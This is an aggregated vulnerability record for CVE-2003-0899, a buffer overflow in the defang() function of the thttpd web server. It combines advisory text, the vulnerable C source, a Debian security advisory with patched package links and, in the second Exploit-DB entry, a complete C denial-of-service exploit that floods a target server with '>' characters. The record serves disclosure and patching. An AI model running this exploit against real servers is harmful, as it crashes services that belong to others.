ID CVE-2003-0899 Type cve Reporter cve@mitre.org Modified 2017-07-11T01:29:00
Description
Buffer overflow in defang in libhttpd.c for thttpd 2.21 to 2.23b1 allows remote attackers to execute arbitrary code via requests that contain '<' or '>' characters, which trigger the overflow when the characters are expanded to "<" and ">" sequences.
This vulnerability is addressed in the following product release:
Acme Labs, thttpd, 2.24
{"osvdb": [{"lastseen": "2017-04-28T13:19:57", "bulletinFamily": "software", "cvelist": ["CVE-2003-0899"], "edition": 1, "description": "# No description provided by the source\n\n## References:\n[Secunia Advisory ID:10092](https://secuniaresearch.flexerasoftware.com/advisories/10092/)\nISS X-Force ID: 13530\n[CVE-2003-0899](https://vulners.com/cve/CVE-2003-0899)\nBugtraq ID: 8906\n", "modified": "2003-10-27T07:26:23", "published": "2003-10-27T07:26:23", "id": "OSVDB:2729", "href": "https://vulners.com/osvdb/OSVDB:2729", "title": "thttpd defang() Function Overflow", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-02T20:42:58", "description": "thttpd 2.2x defang Remote Buffer Overflow Vulnerability (1). CVE-2003-0899 . Dos exploit for linux platform", "published": "2003-10-27T00:00:00", "type": "exploitdb", "title": "thttpd 2.2x defang Remote Buffer Overflow Vulnerability 1", "bulletinFamily": "exploit", "cvelist": ["CVE-2003-0899"], "modified": "2003-10-27T00:00:00", "id": "EDB-ID:23305", "href": "https://www.exploit-db.com/exploits/23305/", "sourceData": "source: http://www.securityfocus.com/bid/8906/info\r\n\r\nA vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.\r\n\r\nThis issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.\r\n\r\nthttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. \r\n\r\nstatic void\r\ndefang( char* str, char* dfstr, int dfsize )\r\n {\r\n char* cp1;\r\n char* cp2;\r\n\r\n for ( cp1 = str, cp2 = dfstr;\r\n *cp1 != '\\0' && cp2 - dfstr < dfsize - 1;\r\n ++cp1, ++cp2 )\r\n {\r\n switch ( *cp1 )\r\n {\r\n case '<':\r\n *cp2++ = '&';\r\n *cp2++ = 'l';\r\n *cp2++ = 't';\r\n *cp2 = ';';\r\n break;\r\n case '>':\r\n *cp2++ = '&';\r\n *cp2++ = 'g';\r\n *cp2++ = 't';\r\n *cp2 = ';';\r\n break;\r\n default:\r\n *cp2 = *cp1;\r\n break;\r\n }\r\n }\r\n *cp2 = '\\0';\r\n }\r\n\r\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/23305/"}, {"lastseen": "2016-02-02T20:43:06", "description": "thttpd 2.2x defang Remote Buffer Overflow Vulnerability (2). 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Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.\r\n \r\nthttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. \r\n\r\n==========================[ thttpd-sontot.c ]=========================\r\n \r\n// thttpd-sontot.c remote dos exploit by d3ck4\r\n// Base On Texonet Security Advisory 20030908\r\n// Application : thttpd\r\n// Version(s) : 2.21 - 2.23b1\r\n// Platforms : FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF\r\n// Solution : Upgrade to version 2.24\r\n// Remote exploit not yet ;P~\r\n \r\n#include <stdio.h>\r\n#include <netinet/in.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <netdb.h>\r\n\r\nint main(int argc, char **argv)\r\n{\r\n struct sockaddr_in addr;\r\n struct hostent *host;\r\n char buffer[1000];\r\n char buffer1[1130];\r\n int s, i;\r\n if(argc != 3)\r\n {\r\n fprintf(stderr, \"usage: %s <host> <port>\\n\", argv[0]);\r\n exit(0);\r\n }\r\n s = socket(AF_INET, SOCK_STREAM, 0);\r\n if(s == -1)\r\n {\r\n perror(\"socket() failed\\n\");\r\n exit(0);\r\n }\r\n host = gethostbyname(argv[1]);\r\n if( host == NULL)\r\n {\r\n herror(\"gethostbyname() failed\");\r\n exit(0);\r\n }\r\n addr.sin_addr = *(struct in_addr*)host->h_addr;\r\n addr.sin_family = AF_INET;\r\n addr.sin_port = htons(atol(argv[2]));\r\n \r\n if(connect(s, &addr, sizeof(addr)) == -1)\r\n {\r\n perror(\"couldn't connect to server\\n\");\r\n exit(0);\r\n }\r\n \r\n for(i = 0; i < 1000 ; i++)\r\n buffer1[i] = '>';\r\n sprintf(buffer, \"GET /%s HTTP/1.0\\r\\n\\r\\n\\r\\n\", buffer1);\r\n printf(\"\\n(Drink Tongkat-Ali For Better Performance ;P~ !)\\n\\n\");\r\n printf(\"Buffer is: %s\\n\\n\", buffer1);\r\n printf(\"Buffer filled... now sending buffer\\n\");\r\n send(s, buffer, strlen(buffer), 0);\r\n \r\n printf(\"Buffer sent.\\nNow thttpd daemon should be dead !!!\\n\\n\");\r\n close(s);\r\n return 0;\r\n}\r\n \r\n/* EOF */\r\n\r\n==========================[ thttpd-sontot.c ]=========================\r\n\r\n\r\n---------------------------------\r\nDo you Yahoo!?\r\nFree Pop-Up Blocker - Get it now", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/23306/"}], "openvas": [{"lastseen": "2017-07-24T12:50:01", "bulletinFamily": "scanner", "cvelist": ["CVE-2002-1562", "CVE-2003-0899"], "description": "The remote host is missing an update to thttpd\nannounced via advisory DSA 396-1.", "modified": "2017-07-07T00:00:00", "published": "2008-01-17T00:00:00", "id": "OPENVAS:53377", "href": "http://plugins.openvas.org/nasl.php?oid=53377", "type": "openvas", "title": "Debian Security Advisory DSA 396-1 (thttpd)", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_396_1.nasl 6616 2017-07-07 12:10:49Z cfischer $\n# Description: Auto-generated from advisory DSA 396-1\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2007 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largerly excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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Hence, an attacker can browse\n the entire disk.\n\nCAN-2003-0899: Arbitrary code execution\n\n Joel Soderberg and Christer Oberg discovered a remote overflow which\n allows an attacker to partially overwrite the EBP register and\n hencely execute arbitrary code.\n\nFor the stable distribution (woody) these problems have been fixed in\nversion 2.21b-11.2.\n\nFor the unstable distribution (sid) this problem has been fixed in\nversion 2.23beta1-2.3.\n\nWe recommend that you upgrade your thttpd package immediately.\n\n\nUpgrade Instructions\n- --------------------\n\nwget url\n will fetch the file for you\ndpkg -i file.deb\n will install the referenced file.\n\nIf you are using the apt-get package manager, use the line for\nsources.list as given below:\n\napt-get update\n will update the internal database\napt-get upgrade\n will install corrected packages\n\nYou may use an automated update by adding the resources from the\nfooter to the proper configuration.\n\n\nDebian GNU/Linux 3.0 alias woody\n- --------------------------------\n\n Source archives:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2.dsc\n Size/MD5 checksum: 545 8a1acb90e6094f3fa72c6845c3053041\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2.diff.gz\n Size/MD5 checksum: 12319 2ac5366cf965d9fc492265d095c108a8\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b.orig.tar.gz\n Size/MD5 checksum: 127157 9c1512664cf70c286331243ab622173e\n\n Alpha architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_alpha.deb\n Size/MD5 checksum: 67512 4b98098b019e2b8d0b1ce1e9aeb617ec\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_alpha.deb\n Size/MD5 checksum: 27794 9edd14ad49dad106626771543c106937\n\n ARM architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_arm.deb\n Size/MD5 checksum: 54182 c191681665f0af7df0ee90136b3365ff\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_arm.deb\n Size/MD5 checksum: 23212 2103ca75c4ea13b97e5744d89949fe37\n\n Intel IA-32 architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_i386.deb\n Size/MD5 checksum: 51914 d699b326d3ebc75476cafe31e91e45ec\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_i386.deb\n Size/MD5 checksum: 23570 157936de6bd22736b0aa63e2224d65ba\n\n Intel IA-64 architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_ia64.deb\n Size/MD5 checksum: 77950 cc5e735539ad1c550b9af17c2388bc83\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_ia64.deb\n Size/MD5 checksum: 29562 954eaaa5f8c824cba7725921f65a3331\n\n HP Precision architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_hppa.deb\n Size/MD5 checksum: 59116 7f77611819d41bf76d5f835d970f3ed8\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_hppa.deb\n Size/MD5 checksum: 25448 cd644f20dcc58dfca543600a74dc95c8\n\n Motorola 680x0 architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_m68k.deb\n Size/MD5 checksum: 49552 72cca53687444bef03134030c6662511\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_m68k.deb\n Size/MD5 checksum: 23220 5677cb4faf6d7b586ba1268c2e35e65c\n\n Big endian MIPS architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_mips.deb\n Size/MD5 checksum: 58236 446d260842da0922cba728e2df11b56b\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd-util_2.21b-11.2_mips.deb\n Size/MD5 checksum: 24516 da2230823d6337e7665254f9700c02b8\n\n Little endian MIPS architecture:\n\n http://security.debian.org/pool/updates/main/t/thttpd/thttpd_2.21b-11.2_mipsel.deb\n Size/MD5 checksum: 58334 04df64db72249b74039f26e23f384f62\n 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